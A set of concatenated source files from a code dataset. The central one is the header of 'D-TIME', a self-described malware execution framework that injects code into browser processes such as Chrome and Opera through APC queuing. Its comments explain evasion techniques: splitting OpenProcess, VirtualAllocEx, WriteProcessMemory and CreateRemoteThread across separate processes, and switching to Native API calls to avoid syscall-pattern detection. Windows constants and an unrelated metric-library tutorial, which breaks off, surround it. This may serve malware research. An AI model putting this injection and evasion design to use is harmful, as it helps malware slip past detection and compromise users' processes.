(0x0002) #define THREAD_GET_CONTEXT (0x0008) #define THREAD_SET_CONTEXT (0x0010) #define THREAD_QUERY_INFORMATION (0x0040) #define THREAD_SET_INFORMATION (0x0020) #define THREAD_SET_THREAD_TOKEN (0x0080) #define THREAD_IMPERSONATE (0x0100) #define THREAD_DIRECT_IMPERSONATION (0x0200) #define PAGE_NOACCESS 0x01 #define PAGE_READONLY 0x02 #define PAGE_READWRITE 0x04 #define PAGE_WRITECOPY 0x08 #define PAGE_EXECUTE 0x10 #define PAGE_EXECUTE_READ 0x20 #define PAGE_EXECUTE_READWRITE 0x40 #define PAGE_EXECUTE_WRITECOPY 0x80 #define PAGE_GUARD 0x100 #define PAGE_NOCACHE 0x200 #define PAGE_WRITECOMBINE 0x400 #define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000 #define PAGE_REVERT_TO_FILE_MAP 0x80000000 #define PAGE_TARGETS_NO_UPDATE 0x40000000 #define PAGE_TARGETS_INVALID 0x40000000 #define PAGE_ENCLAVE_UNVALIDATED 0x20000000 #define PAGE_ENCLAVE_DECOMMIT 0x10000000 #define MEM_COMMIT 0x00001000 #define MEM_RESERVE 0x00002000 #define MEM_REPLACE_PLACEHOLDER 0x00004000 #define MEM_RESERVE_PLACEHOLDER 0x00040000 #define MEM_RESET 0x00080000 #define MEM_TOP_DOWN 0x00100000 #define MEM_WRITE_WATCH 0x00200000 #define MEM_PHYSICAL 0x00400000 #define MEM_ROTATE 0x00800000 #define MEM_DIFFERENT_IMAGE_BASE_OK 0x00800000 #define MEM_RESET_UNDO 0x01000000 #define MEM_LARGE_PAGES 0x20000000 #define MEM_4MB_PAGES 0x80000000 #define FILE_SHARE_READ 0x00000001 #define FILE_SHARE_WRITE 0x00000002 #define FILE_SHARE_DELETE 0x00000004 #define FILE_ATTRIBUTE_READONLY 0x00000001 #define FILE_ATTRIBUTE_HIDDEN 0x00000002 #define FILE_ATTRIBUTE_SYSTEM 0x00000004 #define FILE_ATTRIBUTE_DIRECTORY 0x00000010 #define FILE_ATTRIBUTE_ARCHIVE 0x00000020 #define FILE_ATTRIBUTE_DEVICE 0x00000040 #define FILE_ATTRIBUTE_NORMAL 0x00000080 #define FILE_ATTRIBUTE_TEMPORARY 0x00000100 #define FILE_ATTRIBUTE_SPARSE_FILE 0x00000200 #define FILE_ATTRIBUTE_REPARSE_POINT 0x00000400 #define FILE_ATTRIBUTE_COMPRESSED 0x00000800 #define FILE_ATTRIBUTE_OFFLINE 0x00001000 #define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED 0x00002000 #define FILE_ATTRIBUTE_ENCRYPTED 0x00004000 #define FILE_ATTRIBUTE_VIRTUAL 0x00010000 #define FILE_READ_DATA ( 0x0001 ) // file & pipe #define FILE_LIST_DIRECTORY ( 0x0001 ) // directory #define FILE_WRITE_DATA ( 0x0002 ) // file & pipe #define FILE_ADD_FILE ( 0x0002 ) // directory #define FILE_APPEND_DATA ( 0x0004 ) // file #define FILE_ADD_SUBDIRECTORY ( 0x0004 ) // directory #define FILE_CREATE_PIPE_INSTANCE ( 0x0004 ) // named pipe #define FILE_BEGIN 0 #define FILE_CURRENT 1 #define FILE_END 2 #define CREATE_NEW 1 #define CREATE_ALWAYS 2 #define OPEN_EXISTING 3 #define OPEN_ALWAYS 4 #define TRUNCATE_EXISTING 5 #define DELETE (0x00010000L) #define READ_CONTROL (0x00020000L) #define WRITE_DAC (0x00040000L) #define WRITE_OWNER (0x00080000L) #define SYNCHRONIZE (0x00100000L) #define STANDARD_RIGHTS_REQUIRED (0x000F0000L) #define SECTION_QUERY 0x0001 #define SECTION_MAP_WRITE 0x0002 #define SECTION_MAP_READ 0x0004 #define SECTION_MAP_EXECUTE 0x0008 #define SECTION_EXTEND_SIZE 0x0010 #define SECTION_MAP_EXECUTE_EXPLICIT 0x0020 // not included in SECTION_ALL_ACCESS #define MUTANT_QUERY_STATE 0x0001 #define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ MUTANT_QUERY_STATE) #define SECTION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SECTION_QUERY|\ SECTION_MAP_WRITE | \ SECTION_MAP_READ | \ SECTION_MAP_EXECUTE | \ SECTION_EXTEND_SIZE) #define MUTEX_ALL_ACCESS MUTANT_ALL_ACCESS #define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) #define FILE_MAP_WRITE SECTION_MAP_WRITE #define FILE_MAP_READ SECTION_MAP_READ #define FILE_MAP_ALL_ACCESS SECTION_ALL_ACCESS #define HEAP_ZERO_MEMORY 0x00000008 #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1) typedef unsigned long DWORD; typedef int BOOL; typedef unsigned char BYTE; typedef unsigned short WORD; typedef float FLOAT; typedef FLOAT *PFLOAT; typedef int INT; typedef uint UINT; typedef long LONG; typedef char CHAR; typedef unsigned int UINT; typedef unsigned int *PUINT; typedef unsigned long ULONG; typedef unsigned long ULONG_PTR, *PULONG_PTR; typedef void *HANDLE; typedef void* LPVOID; typedef ULONG_PTR SIZE_T, *PSIZE_T; typedef CONST CHAR *LPCSTR, *PCSTR; typedef LPCSTR PCTSTR, LPCTSTR, PCUTSTR, LPCUTSTR; typedef CHAR *NPSTR, *LPSTR, *PSTR; typedef void *PVOID; typedef LPSTR PTSTR, LPTSTR, PUTSTR, LPUTSTR; typedef long LONG_PTR, *PLONG_PTR; typedef HANDLE HWND; //typedef VOID (NTAPI *PAPCFUNC)(ULONG_PTR Parameter); typedef void *PAPCFUNC; typedef struct PROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32* LPPROCESSENTRY32; typedef struct tagTHREADENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ThreadID; DWORD th32OwnerProcessID; LONG tpBasePri; LONG tpDeltaPri; DWORD dwFlags; } THREADENTRY32; typedef THREADENTRY32* LPTHREADENTRY32; typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; LPVOID lpSecurityDescriptor; BOOL bInheritHandle; } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
7,855
C++
.h
181
41.066298
81
0.648804
pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
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false
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1,531,386
d_time.h
pwnlogs_d-time/emulator/d_time.h
/* * _____ _______ _____ __ __ ______ * | __ \ |__ __| |_ _| | \/ | | ____| * | | | | ______ | | | | | \ / | | |__ * | | | | |______| | | | | | |\/| | | __| * | |__| | | | _| |_ | | | | | |____ * |_____/ |_| |_____| |_| |_| |______| * * * DISTRIBUTED THREADLESS INDEPENDENT MALWARE EXECUTION FRAMEWORK * */ /*------------------------------------------------------------------------------------------------- * * This file contains all definitions needed for execution engine. * *-----------------------------------------------------------------------------------------------*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <stdarg.h> // va_list, va_start, va_arg, va_end #include <stddef.h> // offsetof #include <conio.h> //#define __USE_NT_FUNCTIONS__ // Usage of NT functions will result better // evasion. Not really necessary though #define __NT_INJECTION__ //#define __USE_CONFIG_FILE__ #ifdef __USE_CONFIG_FILE__ #define __CONFIG_FILE_NAME__ "config.txt" #define __MAX_CONFIG_LENGTH__ 30 #define __NO_CONFIG_VALUES__ 3 /* File Format: * Line 1: NPROC * Line 2: NBLOCKS * Line 3: NSEGMS * (Only integers allowed) */ #endif #define MAX_CTRL_MEM_NAME_SIZE 25 #define MAX_MUTEX_WAIT_TIME 1000 #define MAX_SEMAPHORE_WAIT_TIME 1000 #define MAX_QUEUE_COUNT 1 #define __DEBUG__ #ifdef __DEBUG__ /* Inject to itself for debug purpose */ //#define __SELF_INJECTION__ /* Do you want to turn on logging? * Logging can affect your performance very badly */ //#define __LOG__ /* Print offset of differnet variables of shctrl_t and exit */ //#define __PRINT_OFFSET__ #ifndef __SELF_INJECTION__ /* Select which all processes you like to inject to */ #define __INJECT_CHROME__ //#define __INJECT_SKYPE__ //#define __INJECT_ACR_READER__ #define __INJECT_OPERA__ //#define __INJECT_VLC__ //#define __INJECT_CALC__ //#define __INJECT_FIREFOX__ //#define __INJECT_EXPLORER__ //#define __INJECT_INTERNET_EXPLORER__ /* Limit the number of threads used per process * Note: Shared control region will still have the space * for MAX_THRDS_PER_PROCESS threads per process. */ //#define __LIMIT_THRD_COUNT__ 15 /* Turn on if you want every thread to queue emulator on * Every thread (including itself) irrespective of apc_count */ //#define __UNLIMITED_QUEUE__ #endif #ifdef __LOG__ #define MAX_ONE_TIME_LOG_SIZE 50 //#define __LOG__QUEUING__ // Every Queuing of the emulator will be // Logged under %TMP%\queuingLog.txt // Edit the file name to suite your system //#define __LOG_BY_MSG__ // A Message box will pop up for every // APC injection performed. #define __LOG_BLK_IDS__ // IDs of blocks executed will be logged // in %TMP%\blk_id_Log.txt /*All log types till now belongs to default verbose level (1) Level 2 logs the important activities of each APC executed */ //#define __VERBOSE_2__ // + #endif #endif //----------------------------------------------------------------------------------------------------------- // D-TIME variations - it comes in many flavors :) //----------------------------------------------------------------------------------------------------------- /* If __INJECT_FROM_TABLE__ is disabled, the payload will queue further APCs * by looking at the process snapshot. This makes payload self-sufficient * But this will make the payload heavy as it has to take snapshop of processes * again and again. * * If injected from table, The loader will keep track of all the targetted threads * The emulator only needs to look at the table and queue APCs. This is much ligher * as far as the payload is concerned. */ #define __INJECT_FROM_TABLE__ /******************** Variation 1 ********************/ // Preload all blocks in process address space (in heap). This makes code run faster. Otherwise we have to // load, relocate & unload every block before we execute it. However this makes our engine less stealthy. // WARNING: I haven't tested with this MACRO disabled! #define __VAR_1_PRELOAD_BLOCKS__ /******************** Variation 2 ********************/ // Use a function pointer table to relocate calls. When you resolve a function address at runtime you have 2 // options: // [1]. use a NOP + a relative function call // [2]. use a function pointer table and make absolute calls from this table // // WARNING 1: Option [2] doesn't work when we have jumps to imported dlls: jmp ds:__imp__memset // WARNING 2: I haven't tested with this MACRO disabled! #define __VAR_2_USE_FUNCTION_POINTER_TABLE__ /******************** Variation 3 ********************/ // Load shared segments (.data, etc.) in predefined segments. This makes engine less stealthy, but more // reliale. If we use global pointer to these segments, and we assign a pointer under process A, this // pointer will be invalid under process B. // WARNING: If you don't use this variation you'll probably crash #define __VAR_3_LOAD_SEGMS_IN_PREDEFINED_ADDR__ /******************** Variation 5 ********************/ // The weakest point of D-TIME is the injection; It's possible to get detected during injection and thus // make the whole idea collapse. We can do 2 things here. The first is to use our idea to do the injection. // Injection is a combination of 4 system calls: OpenProcess - VirtualAllocEx - WriteProcessMemory - // CreateRemoteThread. Definitely if we see this pattern we can say that this is a dll injection attempt. // The idea is to spawn 4 processes and each process execute only 1 system call. In more detail: // [1]. Process I calls OpenProcess() and obtains a valid HANDLE // [2]. Process I spawn processes II, III and iV, and calls DuplicateHandle() for Process II, III and // IV and for that HANDLE // [3]. Process II calls VirtualAllocEx(), obtains a pointer to the allocated memory and send this // pointer to Process III // [4]. Process III calls WriteProcessMemory() and writes executer to remote process. // [5]. Process IV calls CreateRemoteThreas(), in suspended state and calls DuplicateHandle() to send // thread handle to Process I. // [6]. Process I can call ResumeThread() to launch executer() // // Although this is not really stealth, it's a raw implementation of our splitting idea, and can add a // layer of protection. // // The 2nd layer of protection is to use the Native API calls instead. It's true that many high level API // calls mapped to the same NT API call. This makes harder to find malicious patterns in system calls // especially if detection is only based on system calls and not on their arguments. For example // CreateThread() (which is not malicious) and CreateRemoteThread() (which is often malicious) are mapped // to the same Native function: NtCreateThreadEx(). If you don't look at the arguments of NtCreateThreadEx() // you cannot understand if it really called to create a remote thread or not. // // By setting this variation the Native API injection flavor will be implemented: // ZwOpenProcess - NtAllocateVirtualMemory - NtWriteVirtualMemory - NtCreateThreadEx // #define __VAR_5_USE_NTAPI_FOR_INJECTION__ /******************** Variation 6 ********************/ // Print some debug information to the console. This is for debugging purposes only. // #define __VAR_6_DISPLAY_VERBOSE_INFO__ /******************** Variation 7 ********************/ // Enable use of spins upon SOCKET and HANDLE close. #define __VAR_7_ENABLE_SPINS__ /******************** Variation 8 ********************/ // Enable some debug checks to make debugging easier. // #define __VAR_8_ENABLE_DEBUG_CHECKS__ /******************** Variation 9 ********************/ // Store a list of every block ID being executed (DEBUGGING ONLY) //#define __VAR_9_TRACE_BLOCKS__ /******************** Variation 10 ********************/ // Load blocks and metadata from constant tables. Otherwise load them from files // #define __VAR_10_LOAD_BLOCKS_N_META_FROM_TABLES__ //----------------------------------------------------------------------------------------------------------- // error codes //----------------------------------------------------------------------------------------------------------- #define ERROR_SUCCESS_ 0x80000000 // No error happened #define ERROR_GETPROCADDR_1 0x80000001 // Can't find function address through kernel32 IAT #define ERROR_GETPROCADDR_2 0x80000002 // Can't find function address through LoadLibrary #define ERROR_ATTACHSHCTRL 0x80000003 // Can't attach to shared control region #define ERROR_ATTACHSHSTACK 0x80000004 // Can't attach to shared stack #define ERROR_SEGMLOAD 0x80000005 // Can't load a segment #define ERROR_ATTACHBLK 0x80000006 // Can't load a block #define ERROR_SEMCREATE 0x80000007 // Can't create semaphore #define ERROR_PID_NOT_FOUND 0x80000008 // Can't find current pid #define ERROR_MAILBOX 0x80000009 // Internal problems with mailbox #define ERROR_WASH_SIG_INVALID 0x8000000A // Invalid block header signature #define ERROR_BLK_SIG_INVALID 0x8000000B // Invalid block start signature #define ERROR_BLK_SEGM_SIG_INVALID 0x8000000C // Invalid semgent header signature #define ERROR_DUP_TYPE_INVALID 0x8000000D // Invalid duplication type #define ERROR_HEAP_OPERATION_INVALID 0x8000000E // Invalid heap operation #define ERROR_LOADLIB_FAILED 0x8000000F // Can't load library #define ERROR_PROCADDR_NOT_FOUND 0x80000010 // Can't find process address #define ERROR_LOCALALLOC_FAILED 0x80000011 // Can't allocate local memory #define ERROR_CANNOT_RELEASE_SEM 0x80000012 // Can't release semaphore #define ERROR_HEAP_ALLOC_FAILED 0x80000013 // Cannot allocated shared memory for heap (UNUSED) #define ERROR_INVALID_NXTBLK 0x80000014 // Next block has an invalid ID #define ERROR_ATTACHDETOUR 0x80000015 // Can't attach to detour function #define ERROR_SCHEDULER_INFLOOP 0x80000016 // Infinite loop inside scheduler //----------------------------------------------------------------------------------------------------------- // constant definitions // // WARNING: In order to optimize code, I substitute some of the constants below with their actual numbers. // For example, instead of doing: "mul eax, MAILBOXSIZE", we're doing: "shl eax, 10". Be really careful // when modifying these values :) //----------------------------------------------------------------------------------------------------------- #define _ERROR 0xffffffff // error value #define SUCCESS 0x0 // success value #define FUNTBLSIZE 4096 // max function table size #define SEGMTABSIZE 32 // segment table size #define MAXNBLKS 1536 // max number of blocks (they'll be many in paranoid mode) #define MAXMNEMLEN 128 // max instruction mnemonic length #define EOSCHAR "\xcc" // a non-printable ASCII character #define MAXFUNAMELEN 128 // max function name length #define MAXSEGNAMELEN 64 // max segment name length #define MAXBLKSIZE 1536 // max block size #define MAXBLKNFUNC 128 // max number of function calls #define MAXMODNAMELEN 64 // max imported module name length #define MODTABSIZE 32 // module table size #define MAX_NO_PROC 16 // max number of injected processes ?? #define MAX_THRDS_PER_PROC 16 // max number of threads per processes #define MAXOPENHANDLE 16 // max number of concurrent open SOCKETs/HANDLEs #define MAILBOXSIZE 1024 // mailbox size (1K is fine) #define MAXMAILBOXSIZE 8 // maximum number of unread mails #define DUPUNIQUESIG 0x1337beef // a unique signature before the start of a dup* hook #define DUPDETOURADDR 0x19700000 // predefined-known address of dup* detour #define STACKBASEADDR 0x19900000 // stack virtual base address #define STACKSIZE 0x20000 // stack size #define STACKBASEADDR2 0x19900040 // different call caches for different dependencies #define SEGMBASEADDR 0x1bb00000 // 1st segment virtual base address #define SEGMNXTOFF 0x20000 // virtual offset between segment base address #define HEAPBASEADDR 0x1cc00000 // heap starts from here #define NMAXTHREADS 4 // maximum number of threads that we can handle #define LISTEN_BACKLOG 20 // maximum listen() queue (LISTEN_BACKLOG must be > MAX_NO_PROC) #define SPINCOUNTER 256 // number of spins #define ARGVBASEOFF 0x200 // base address of argv table #define ARGVPTRBASEOFF 0x240 // base address of argv pointers #define ARGVNXTOFF 0x40 // offset between argv pointers //----------------------------------------------------------------------------------------------------------- // types of duplications and heap operations within basic block //----------------------------------------------------------------------------------------------------------- #define DUPNONE 0xff // don't duplicate #define DUPHANDLE 0x01 // duplicate handle #define DUPHANDLE2 0x02 // duplicate 2 handles #define DUPSOCK 0x03 // duplicate socket #define DUPSOCK2 0x04 // duplicate 2 sockets #define CLOSEHANDLE 0x05 // close handle #define CLOSESOCK 0x06 // close socket #define DUPPTRHANDLE 0x81 // duplicate handle pointer #define DUPPTRHANDLE_2 0x82 // duplicate 2 handle pointers #define HEAPOPALLOC 1 // heap operation: allocate #define HEAPOPFREE 2 // heap operation: free #define HEAPOPMMAP 3 // heap operation: mmap #define HEAPOPFREERWD 4 // heap operation: free and rewind //----------------------------------------------------------------------------------------------------------- // thread states //----------------------------------------------------------------------------------------------------------- #define THREAD_UNUSED 0xffff // thread does not exists #define THREAD_RUNNING 0x0001 // thread is running #define THREAD_SUSPENDED 0x0000 // thread is suspended //----------------------------------------------------------------------------------------------------------- // mail commands //----------------------------------------------------------------------------------------------------------- #define CMD_NONE 0x00 // mailbox is empty (not really a command) #define CMD_WSASTARTUP 0x01 // call WSAStartup() #define CMD_DUPSOCKINIT 0x02 // a socket has created #define CMD_DUPSOCKCLOSE 0x03 // a socket has closed #define CMD_DUPHANDLEINIT 0x04 // a handle has opened/created (unused) #define CMD_DUPHANDLECLOSE 0x05 // a handle has closed #define CMD_ALLOCMEM 0x06 // some memory allocated #define CMD_FREEMEM 0x07 // some memory deallocated #define CMD_MAPMEM 0x08 // some memory mapped #define CMD_SET_CURRENT_DIR 0x09 // current directory changed //----------------------------------------------------------------------------------------------------------- // type definitions //----------------------------------------------------------------------------------------------------------- typedef unsigned short int ushort; typedef unsigned char byte; typedef unsigned int uint, addr; typedef unsigned long int ulong; //----------------------------------------------------------------------------------------------------------- // function definitions //----------------------------------------------------------------------------------------------------------- void fatal( const char*, ... ); // display a fatal error and exit #ifndef __USE_NT_FUNCTIONS__ void __stdcall executer(unsigned long lpParam); // code (many functions) that executes basic blocks //ulong __stdcall executer( void *lpParam ); // code (many functions) that executes basic blocks #else ulong __stdcall executer(void* parameter, void* pra2, void* para3); // code (many functions) that executes basic blocks #endif byte* crtshreg( char[] , uint, void*); // create a shared region void loadsegms( void ); // load all segments void loadfuntab( void ); // load function table void loadblks( void ); // load all blocks void loadmodtab( void ); // load module table void loadthdtab( void ); // load thread table void loadinitab( void ); // load initialized pointer table void reasm(); // reassemble large arrays //----------------------------------------------------------------------------------------------------------- // shared region overview //----------------------------------------------------------------------------------------------------------- // Bit // 0 15 31 47 63 // +--------------+---------------+---------------+---------------+ // | "$D_TIME$" (Shared Region Header) | // +--------------+---------------+---------------+---------------+ // | Reserved | #Blocks | #Segments | FunTab Size | // +--------------+---------------+---------------+---------------+ // | #Modules | #Processes | Next heap base address | // +--------------+---------------+---------------+---------------+ // |Next Block #0 | Next Block #1 | Next Block #2 | Next Block #3 | // +--------------+---------------+---------------+---------------+ // |Thrd #0 State | Thrd #1 State | Thrd #2 State | Thrd #3 State | // +--------------+---------------+---------------+---------------+ // | Thread #0 Routine Entry Point| Thread #1 Routine Entry Point | // +--------------+---------------+---------------+---------------+ // | Thread #2 Routine Entry Point| Thread #3 Routine Entry Point | // +--------------+---------------+---------------+---------------+ // | Reserved 2 | // +--------------+---------------+---------------+---------------+ // | Saved Context for Main Thread | // | EAX, EDX, ECX, EBX, ESI, EDI, ESP, EBP, EFL, RSV | // +--------------+---------------+---------------+---------------+ // | ... | // +--------------+---------------+---------------+---------------+ // | Saved Context for Thread #3 | // | EAX, EDX, ECX, EBX, ESI, EDI, ESP, EBP, EFL, RSV | // +--------------+---------------+---------------+---------------+ // | Segment 1 ID | Shared memory name for Segment 1 | // + + // | Segmennt 1 Start RVA | Segmennt 1 End RVA | // +--------------+---------------+---------------+---------------+ // | ... | // +--------------+---------------+---------------+---------------+ // | Segment N ID | Shared memory name for Segment N | // + + // | Segmennt N Start RVA | Segmennt N End RVA | // +--------------+---------------+---------------+---------------+ // | Module name 1 | // | ... | // | Module name N | // +--------------+---------------+---------------+---------------+ // | Shared memory name for Block 1 | // | ... | // | Shared memory name for Block N | // +--------------+---------------+---------------+---------------+ // | | // | Function Table (FunTab) | // | | // +--------------+---------------+---------------+---------------+ // | Reserved 3 | // +--------------+---------------+---------------+---------------+ // | PID table | // +--------------+---------------+---------------+---------------+ // | Duplicate Table (MAX_NO_PROC entries) | // | | // | Original Hdl | Handle for P1 | ... | Handle for PN | // | ... | // | Original Hdl | Handle for P1 | ... | Handle for PN | // +--------------------------------------------------------------+ // | ... ... ... | // +--------------+---------------+---------------+---------------+ // | MailBox for Process #1 | // | ... | // | MailBox for Process #MAX_NO_PROC | // +--------------+---------------+---------------+---------------+ // struct shctrl_t { // ---------------------------------------------------------------------------------- char signature[8]; // shared control region signature (OPTIONAL) ushort reserved1, // reserved nblks, // total number of blocks nsegms, // total number of segments nmods, // total number of modules funtabsz, // function table size nproc; // number of injected proccesses ulong nxtheapaddr; // next address in heap to allocate ushort nxtblk[ NMAXTHREADS ], // next block to execute (1 per thread) thrdst[ NMAXTHREADS ]; // thread states ulong thrdrtn[ NMAXTHREADS ]; // thread entry points char spin; // spin flag byte reserved2[7]; // reserved for future use #define NBLKSOFF 0xa // (we cannot use sizeof, or offset of) #define NSEGMSOFF 0xc // #define NMODSOFF 0xe // #define FUNTABSZ 0x10 // #define NPROCOFF 0x12 // #define NXTHEAPADDROFF 0x14 // #define NXTBLKOFF 0x18 // #define THRDSTOFF 0x20 // offsets of members withing stack #define THRDRTNOFF 0x28 // #define SPINOFF 0x38 // // ---------------------------------------------------------------------------------- struct context_t { // context switch struct (0x28 bytes) uint eax; // we store 8 basic registers + FLAGS uint edx; // uint ecx; // uint ebx; // uint esi; // uint edi; // uint esp; // uint ebp; // don't need eip uint eflags; // uint reserved; // reserved for future use #define CTXOFF_EAX 0x0 // member offsets #define CTXOFF_EDX 0x4 // #define CTXOFF_ECX 0x8 // #define CTXOFF_EBX 0xc // #define CTXOFF_ESI 0x10 // #define CTXOFF_EDI 0x14 // #define CTXOFF_ESP 0x18 // #define CTXOFF_EBP 0x1C // #define CTXOFF_EFL 0x20 // } ctx[ NMAXTHREADS ]; // context variable #define CTXLEN 40 // context length (0x28) #define CTXOFF 0x40 // ctx offset // ---------------------------------------------------------------------------------- struct segm_t { // segments information (0x10 bytes) ushort segmid; // segment id (optional, as segments are // sequential starting from 0) char name[6]; // random name to identify shared region addr startEA, endEA; // start and end RVAs } segm[ SEGMTABSIZE ]; // store segments in an array #define SEGMOFF 0xe0 // = CTXOFF + NMAXTHREADS*4 + 0x28 #define SEGMOFFNAM 0xe2 // #define SEGMOFFSTR 0xe8 // #define SEGMOFFEND 0xec // #define MODLOFF 0x2e0 // = SEGMOFF + (SEGMTABSIZE << 4) struct modl_t { // module information // module id is used as an index char name[ MAXMODNAMELEN ]; // module name // ulong reserved; } modl[ MODTABSIZE ]; // store modules here #define BLKOFF 0xae0 // = MODLOFF + MODTABSIZE * MAXMODNAMELEN struct blk_t { // basic block information // bid is used as index char name[8]; // random name to identify shared region // ulong reserved; } blk[ MAXNBLKS ]; // store bid shared region names here #define FUNTABOFF 0x3ae0 // = BLKOFF + (MAXNBLKS << 3) char funtab[ FUNTBLSIZE ]; // function table byte reserved3[ 8 ]; // reserved for future use #define PIDTABOFF 0x4ae8 // = FUNTABOFF + FUNTBLSIZE + 8 ulong pidtab[MAX_NO_PROC]; // table of all loaded pids #define DUPTABOFF 0x4b28 // = PIDTABOFF + MAX_NO_PROC*4 #define DUPTABENTSZ 72 // 4 + 2 + 2 + (0x10)*4 = 0x48 struct duptab_entry { // duplication table entry (72 bytes) ulong origval; // original value of SOCKET/HANDLE // sizeof(long) = 4 in msdn ushort type; // HANDLE or SOCKET? (2byte) ushort reserved3; // for future use (2byte) void *handle[ MAX_NO_PROC ]; // SOCKET/HANDLE value } duptab[ MAXOPENHANDLE ]; // every open SOCKET/HANDLE has 1 entry #define HEAP_OFF 0x4fa8 // = DUPTABOFF + 72*MAXOPENHANDLE (72=0x48) void* pLocalHeap[MAX_NO_PROC]; // Address of local Heap memory (APC Addition) #define EMULATOR_ADDR_OFF 0x4fe8 // = HEAP_OFF + 4*MAX_NO_PROC void* emulatorAddr[MAX_NO_PROC]; // Stores the addr of emulator in each proc /* TODO: Reduce the size of emulatorAddr <= Last 4 digits(in hex) are always zero */ #define THREADS_OFF 0x5028 ulong threads[MAX_NO_PROC][MAX_THRDS_PER_PROC]; #define APC_COUNT_OFF 0x5428 __int8 apc_count[MAX_NO_PROC][MAX_THRDS_PER_PROC]; // Stores the numbers of pending/running APCs for the thread // TODO: Remove this #define INIT_STAT_OFF 0x5528 __int8 init_status[MAX_NO_PROC]; // Stores init status of each process // 1: init done; 0: init not done #define MAILBOXOFF 0x5538 //#define MAILBOXOFF 0x4de8 // = HEAP_OFF + 4*MAX_NO_PROC struct mailbox_t { // mailbox data type (1024 bytes) ushort cmd, // message command reserved; // reserved value void* handle; // original SOCKET/HANDLE value ulong reserved2[2]; // another reserved value byte data[MAILBOXSIZE - 16]; // message data } mailbox[ MAX_NO_PROC ][ MAXMAILBOXSIZE ]; // 1 mailbox for each process }; /* You can use the code below, to find the offsets withing shctrl_t for the define MACROs printf("nblks : %04Xh\n", offsetof(shctrl_t, nblks) ); printf("nsegms : %04Xh\n", offsetof(shctrl_t, nsegms) ); printf("nmods : %04Xh\n", offsetof(shctrl_t, nmods) ); printf("funtabsz : %04Xh\n", offsetof(shctrl_t, funtabsz) ); printf("nproc : %04Xh\n", offsetof(shctrl_t, nproc) ); printf("nxtheapaddr: %04Xh\n", offsetof(shctrl_t, nxtheapaddr)); printf("nxtblk : %04Xh\n", offsetof(shctrl_t, nxtblk) ); printf("thrdst : %04Xh\n", offsetof(shctrl_t, thrdst) ); printf("thrdrtn : %04Xh\n", offsetof(shctrl_t, thrdrtn) ); printf("spin : %04Xh\n", offsetof(shctrl_t, spin) ); printf("ctx : %04Xh\n", offsetof(shctrl_t, ctx) ); printf("segm : %04Xh\n", offsetof(shctrl_t, segm) ); printf("modl : %04Xh\n", offsetof(shctrl_t, modl) ); printf("blk : %04Xh\n", offsetof(shctrl_t, blk) ); printf("funtab : %04Xh\n", offsetof(shctrl_t, funtab) ); printf("pidtab : %04Xh\n", offsetof(shctrl_t, pidtab) ); printf("duptab : %04Xh\n", offsetof(shctrl_t, duptab) ); printf("mailbox : %04Xh\n", offsetof(shctrl_t, mailbox) ); */ extern shctrl_t *shctrl; // global shared control region // ---------------------------------------------------------------------------------------------------------- // end of Shared Memory definitions // ---------------------------------------------------------------------------------------------------------- /******************************************************************** * definitions for Process Local Heap Memory ********************************************************************/ typedef struct segmptr_t { // Information on segments loaded to process void *base, // base address *hdl; // open handle to this segment } segmptr_t; /* Process Local Heap Memory structure */ typedef struct pLocalHeap_t { segmptr_t segmptr[SEGMTABSIZE]; void *sem[NMAXTHREADS]; // semaphores int pid_index; void *blkaddr[MAXNBLKS]; // block base address table void *blkoff[MAXNBLKS]; char* EXECUTER; // TODO: Should be "const char*" unsigned long EXE_SIZE; #ifdef __VAR_2_USE_FUNCTION_POINTER_TABLE__ void *fptab[MAXBLKNFUNC]; // function pointer table uint fptabcnt; // and its counter #endif } pLocalHeap_t;
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.h
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1,531,387
tutorial.cpp
metric-space-ai_metric/examples/tutorial.cpp
#include "metric/metric.hpp" void distance_example() { using namespace metric; // configure the metric Euclidean<double> euclidean_distance; // new: Euclidean<std::vector<double>> euclidean_distance; //apply the metric std::vector<double> a = { 1, 2, 5, 3, 1 }; std::vector<double> b = { 2, 2, 1, 3, 2 }; double result = euclidean_distance(a, b); std::cout << "result = " << result << std::endl; } void correlation_example() { using namespace metric; // some data std::vector<std::vector<int>> A = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; // some other data std::deque<std::string> B = { "this", "test", "tests", "correlation", "of", "arbitrary", "data", }; // configure the correlation auto mgc_corr = MGC<std::vector<int>, Euclidean<int>, std::string, Edit<std::string>>(); // new auto mgc_corr = MGC<Euclidean<std::vector<int>>, Edit<std::string>>(); // apply the correlation auto result = mgc_corr(A, B); std::cout << "Multiscale graph correlation: " << result << std::endl; // 0.0791671 (Time = 7.8e-05s) // Rows 2 and 3 are similar in both data sets, so that there is a minimal correlation. } void knn_example() { using namespace metric; using rec_t = std::vector<double>; // some data std::vector<rec_t> A = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; // std::vector<double> v0 = {0, 1, 1, 1, 1, 1, 2, 3}; // std::vector<double> v1 = {1, 1, 1, 1, 